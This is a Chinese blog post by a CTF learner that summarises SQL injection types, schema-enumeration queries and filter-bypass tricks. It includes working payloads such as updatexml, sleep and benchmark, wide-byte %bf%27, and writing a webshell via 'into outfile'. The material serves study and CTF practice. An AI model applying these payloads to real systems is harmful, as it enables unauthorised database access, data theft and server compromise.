SQL注入——大总结
本文最后更新于26 天前,其中的信息可能已经过时,如有错误请发送评论

前言

今天原本是在刷题的,凌晨1:45结束那道题目后就发现打不开下一个靶场了,我以为是我扫描的太频繁了,刚好要休息了就没管了,结果后来发现是平台问题,题目打不开,然后我尝试退出登录打算重新登录的,结果发现用来登录Buuctf的第三方平台MYDAS好像也出现问题了,点击登录就是请求超时,然后就是一直等到晚上9点也没登录成功,为了不浪费时间,同时因为明天下午还有事情,所以今天(2026/1/13)写一下近期的知识总结

说起来,今天是我学习CTF的第46天,也不短了,不过我依旧认为我自己只是一个小白,学习的越多就会发现知道的越少,总是能够发现新的知识,而这些奇奇怪怪的知识让我深深的沉迷,我就是在不断的去学习探索这些知识,因为前面的原因,无法登录Buuctf也无法刷题,其他平台在我这个平台还没刷完之前我懒得换或者说是强迫症吧,所以我就只好来整理一下最近学习的知识,也的确冲的有点快了,每天都是8~15.8个小时的学习,虽然很快乐,不过我觉得还是得慢下来好好整理整理

SQL注入分类

  • 报错注入
  • 联合注入
  • 布尔盲注
  • 时间盲注(延迟盲注)
  • 无列名注入
  • 堆叠注入
  • 预处理注入
  • 二次注入
  • 宽字节注入
  • Cookie注入
  • 带外注入

报错注入

算是比较常见的注入了,利用报错来获取信息,常见的是使用updatexml和extractvalue,还有floor,大多时候我都是测试updatexml,因为过滤了这个,基本上另外两个也会过滤,通过Fuzz跑一遍,没过滤的话再用,如果过滤了updatexml我就会直接尝试联合注入和其他的注入方法,然后展示一下三个的语法,首先是updatexml:

updatexml(XML_document,XPath_string,new_value)
updatexml(1,concat(0x7e,(select version()),0x7e),1)

然后是extractvalue:

extractvalue(XML_document,XPath_string)
extractvalue(1,concat(0x7e,(select version()),0x7e))

再然后是floor,这个我也用得少,我也不是很会用这个,可能是我数学不是特别好的原因吧:

select count(*),concat((select version()),floor(rand(0)*2)) as x from information_schema.tables group by x

联合注入

算是比较常见且我喜欢的一种注入方式,利用联合查询来获取信息,使用联合查询获取信息,必须确保原语句没有返回结果,然后还需要判断出字段数和回显位置,听起来很麻烦,不过实际使用会非常舒服,因为不用考虑长度限制,可以一次性获取所有数据,而报错注入因为长度限制,只能使用floor或者其他切分获取的方式,联合注入的使用:

union select xxxx

不过如果使用单引号来注入的,就需要在整个语句的结束后面使用注释符,获取信息的方法后面讲

布尔盲注

在联合,报错,堆叠都无法使用的情况下,我会考虑使用布尔盲注,布尔盲注如果只是爆破简单的东西还好,如果需要爆破很多数据,就需要较长时间,特别是在不做任何优化的情况下,爆破一个字符的次数往往在40~100次左右,如果可以使用二分法和ascii,那么爆破的次数可以成倍缩小,一个字符只需要爆破7遍,还是很快的,当然如果大于和等于其中有一个过滤了,那么就需要调整判断逻辑,如果都过滤了,那就只能使用等号来逐字符爆破,当然配合hex16进制可以减少一定的爆破次数,不过还是会比较慢

当这些符号都过滤了,那就只能使用正则表达式,或者通过字符串长度变化来判断真还是假了

延迟盲注:

这个爆破的方法就比较固定了,当我们无法通过其他方法获取数据时就得使用延迟盲注了,不过往往非常耗费时间,还存在误报,所以如果不是迫不得已,能使用其他方法就用其他方法吧

主要的延迟方法是sleep,benchmark(count, expr),get_lock(str, timeout),笛卡尔积,使用方法如下:

sleep(5)
benchmark(100000,md5(1))

另外两种方法没用过,而且需要对数据库的了解不是特别差,靠我那些入门的知识,我感觉很难,如果让我碰上了我会放弃,sleep被过滤了,我就会尝试benchmark,如果也过滤了我就不会尝试锁和笛卡尔积

无列名注入

严格来讲不是一种注入方式,只能算是一种注入技巧,或者获取数据的方法,通过join,using来获取数据:

通过join自连接同一张表制造重复列名错误,再利用using子句强制暴露所有列名结构

还可以使用设置别名的方法来进行注入,不过需要判断好字段数

select `3` from (select 1,2,3 union select * from table3)c;

order by比较盲注

select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;

堆叠注入

反正比报错和布尔舒服,因为直接拼接第二条语句来获取数据,数据通常能直接显示,快捷方便,原理就是通过分号来结束当前语句,然后构造新的语句,让数据库执行额外的查询语句

预处理注入

需要和堆叠注入或其他方式结合使用,可以通过预编译语句写入Webshell,通常注入时可能会过滤查询的语句和编码的函数,不过对解码可能过滤不严格,可以定义一个编码后的语句作为变量,然后在预编译中调用,然后执行,同样可以绕过过滤,并且可以写入Webshell

二次注入

发生在第一次写入用户提交的数据时,转义了用户的输入,但保存在数据库的数据是没有转义的,当通过其他地方调用这个数据时才会触发二次注入,比如注册了一个恶意用户名,然后在用户查看简介或者提交评论的时候,都会查询一遍用户的用户名,这个时候就会触发二次注入

宽字节注入

这个好像我在buuctf还没刷到,也有可能是没有带有SQL关键词,这个注入主要是利用数据库字符集转换特性来绕过转义,通常发生在数据库使用宽字符集时,某些特殊字节会被解释为一个汉字的一部分,从而使得转义符号(反斜杠 \)被 “吞掉”,导致注入成功,例如:

用户输入的内容是 %bf%27(这是 0xbf27 的 URL 编码形式),PHP 的 addslashes 或类似的函数检测到 %27,从而进行转义,于是它在前面加一个反斜杠,然后转义后的字符串就变成了 %bf%5c%27,即 0xbf5c27,当这个被转义后的字符串被发送到 MySQL 时,由于连接字符集是 GBK,MySQL 会按照两个字节一个字符的方式去解析它, MySQL 看到 0xbf5c,并在 GBK 字符集码表中进行查找。它发现 0xbf5c 正好对应着一个完整的、合法的 GBK 字符:縗 。于是, MySQL 将 0xbf5c 解析(合并)为字符 縗,剩下的 0x27 被独立解析为单引号,经过这个转换,原本的 % bf%5c%27 就变成了 縗 ‘ ,那个用于转义的反斜杠 \ 神奇地消失了! 单引号成功逃逸,重新成为了一个可以闭合 SQL 语句的危险字符

Cookie注入

cookie注入与传统的SQL注入基本上是一样,都是针对数据库的注入,就是注入的位置不同,注入形式不同

带外注入

利用 DNS 协议或其他方法来从目标数据库中提取数据的 SQL 注入技术,它们属于带外通道攻击(Out-of-Band OOB)

相关文献

获取数据

想要获取数据,通常会先获取数据库的表名,库名也会获取,不过如果是直接获取当前数据库中的数据,就不用去获取库名,但是如果要查询其他数据库的数据,就需要库名,所以先展示如何获取库名:

# 获取当前数据库
database()
# 获取所有数据库
show databases;
select group_concat(schema_name) from information_schema.schemata
# 其他方法
select name from sys.databases
select group_concat(schema_name) from sys.schema_table_statistics_with_buffer

接下来是获取表名:

# 获取所有表
show tables;
select group_concat(table_name) from information_schema.tables
# 获取当前数据库的表
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(table_name) from information_schema.tables where table_schema='当前数据库名'
# 其他方法
select distinct table_name from mysql.innodb_table_stats where database_name = database()
select distinct table_name from mysql.innodb_index_stats where database_name = database()
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

获取列名:

# 获取所有列名
select group_concat(column_name) from information_schema.columns
# 获取当前数据库列名
select group_concat(column_name) from information_schema.columns where table_schema=database()
select group_concat(column_name) from information_schema.columns where table_schema="当前数据库名"
# 获取当前数据库users表的列名
select group_concat(column_name) from information_schema.columns where table_name="users"
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"

获取数据:

# 获取当前数据库的数据
select 列名 from 表名
# 直接获取其他数据库的数据
select 列名 from 数据库名.表名
# 无列名注入
# 需要判断字段数 然后通过设置别名来查询对应的列
select `3` from (select 1,2,3,4,5 union select * from users)as a;
# 通过ascii位偏移
(SELECT 1,2)>(SELECT * FROM f1ag_1s_h3r3_hhhhh)
# 通过二分法进行布尔盲注
查询语句还是一样 主要是切割单一字符 然后使用ascii比对
# hex 布尔盲注
编码获取方式都一样 通过条件判断来确认单一字符 然后拼接结果

绕过技巧

不一定完善,只是做一个汇总

输出过滤

使用编码绕过,或者使用替换函数嵌套绕过,还可以使用盲注,还有就是直接写入Webshell

  • 编码绕过 hex、ascii、to_base64、urlencode
  • 替换函数 replace(str,from_str,to_str)
  • 写入Webshell select “数据” into dumpfile/outfile “路径” 有路径 linux默认路径是/var/www/html/

对数字字母过滤的绕过

  • ture
  • false
  • pi()
  • version()
  • floor()
  • ceil()

对空格过滤的绕过

URL编码制表符

%09

URL编码换行符

%0a

URL编码垂直制表符

%0b

URL编码换页符

%0c

URL编码回车符

%0d

URL编码非断行空格

%a0

URL编码空字符或NULL

%00

+号代替

+

多行注释代替

/**/

内联注释

/*!*/

括号代替

select(group_concat(table_name))from(information_schema.tables)where(table_name=database())

对引号过滤的绕过

16进制编码”admin”

0x41646d696e

ascii编码

concat(char(65),char(100),char(109),char(105),char(110))

hex与unhex

select id from table1 where id=unhex(hex(12850));
select id from table1 where id regexp unhex(hex(12850));

宽字节绕过

%bf%27

反斜杠逃逸

# 正常的查询语句
select xxx from xxx where username="" and password=""
# 使用反斜杠转义username的第二个引号 使password的内容逃逸出来
select xxx from xxx where username="\" and password="123"
select xxx from xxx where username="名字"123"
# 此方法得确保密码或者后面的password没有进行加密或其他操作

对逗号过滤的绕过

这个我也是才知道,之前都没有碰到过,所以一直没想过这个问题

limit()

select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 OFFSET 1;
select * from test where id=1 limit 2 FROM 1;

substr()、substring()、mid()

substr(string, start, length)
substr(string FROM start FOR length)

substring(string, start, length)
substring(string FROM start FOR length)

mid(string, start, length)
mid(string FROM start FOR length)

JOIN

union select 1,2
union select * from (select 1)a join (select 2)b

对<>=过滤的绕过

真后悔没有早点看到,我当时发现<>都被过滤了,就直接逐字符跑的,现在想想还可以用函数来比较大小啊

strcmp() value1小于value2,返回 -1,其它情况返回 1

strcmp(value1,value2)

greatest() 返回多个参数中的最大值

GREATEST(value1, value2, ..., valueN)

least() 返回多个参数中的最小值

LEAST(value1, value2, ..., valueN)

BETWEEN … AND …

value BETWEEN lower_bound AND upper_bound
value BETWEEN 65 AND 65 -- =65

in

substr(username,1,1) in ('A')

like代替=,LIKE可以通过将数字隐式转换成字符,再和特定的字符比较,适合支持将数字隐式转换为字符串,RLIKE(mysql特有)\REGEXP适合匹配字符,支持正则表达式,可以实现更复杂的匹配需求

value LIKE '65'
GREATEST(value, 65) BETWEEN 65 AND 65 -- value<=65
LEAST(value, 65) BETWEEN 65 AND 65    -- value>=65
LEAST(value, 65) LIKE '65'

对注释符号过滤的绕过

  • --%20
  • %23
  • ;00
  • 再次输入引号闭合

编码绕过

  • 宽字节,前面说过,不赘述
  • latin1字符集

ISO-8859-1(又称为 Latin-1)是一种字符编码标准,用于表示西欧和美洲的字符,MySQL 5.7 及以前 默认编码: latin1,MySQL 8.0 及之后 默认编码:utf8mb4,MySQL遇到无法正确转换为utf8的字符时,通常会直接忽略

?username=admin%c2

存储时%c2部分被忽略,实际存储的值变为admin。%c2可以换为%c2-%ef)

MySQL配置严格模式(如sql_mode设置STRICT_TRANS_TABLES)的情况下在字符转换失败时会报错误

对布尔运算符过滤的绕过

and过滤:&& 或者 id=1=(condition)等价于id=1 and condition

or过滤:||

not过滤:!

xor过滤:在两边取值为布尔值(或1&0)时可以用^替换

对where过滤的绕过

可以用 GROUP BY 结合 HAVING 子句来实现与 WHERE 相似的功能,like或引号被过滤可以使用regexp

SELECT value FROM table1 GROUP BY value HAVING value LIKE 'flag%';
SELECT value FROM table1 GROUP BY value HAVING (BINARY substr(value,1,5)) regexp(0x666c6167);

使用JOIN替代WHERE

SELECT a.value FROM table1 a JOIN table1 b ON a.value like 'flag%';
SELECT a.value FROM table1 a JOIN table1 b ON (BINARY substr(a.value,1,5) regexp(0x666c6167));

对like过滤的绕过

使用regexp

对select过滤的绕过

使用table绕过

使用show绕过

利用PCRE非贪婪匹配机制漏洞绕过 相关文献

对information_schema过滤的绕过

InnoDB 引擎表,mysql.innodb_table_stats: 存储 InnoDB 表的统计信息;mysql.innodb_index_stats: 存储 InnoDB 索引的统计信息。这两个表会记录表和索引的信息,日志会定期更新,MySQL 5.6 及以上版本

sys

对敏感函数或常见字符过滤的常见绕过

  • 大写绕过
  • 大小写混用绕过
  • 双写绕过
  • 编码绕过
  • 注释符绕过
  • 内联注释绕过

等价替代函数

SLEEP()benchmark(count, expr), get_lock(str, timeout),笛卡尔积
CONCAT_WS()GROUP_CONCAT()
MID(),SUBSTR()SUBSTRING()
@@userUSER(),SESSION_USER(),CURRENT_USER(),SYSTEM_USER()
@@datadirDATADIR()
database()schema()
ASCII(str)ORD(str)
HEX(),BIN(),OCT()CONV(N,from,to)
@@VERSION,@@GLOBAL.VERSIONversion()

对if过滤的绕过

  • elt()
ELT((LENGTH(DATABASE())=3),sleep(3));
  • case
case when condition then 1 else 0 end
  • locate()
locate(substr(user(),1,1),'a')
  • and
condition and sleep(1);
  • MAKE_SET()
MAKE_SET((LENGTH(DATABASE())=4),sleep(1),1);

对secure_file_priv限制的绕过

通过查询日志getsell 相关文章

不过感觉不是特别详细,后面抽空再查一下,因为刚刚查了一下相关内容,发现没有找到,不过看思路的确是一个不错的方法

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇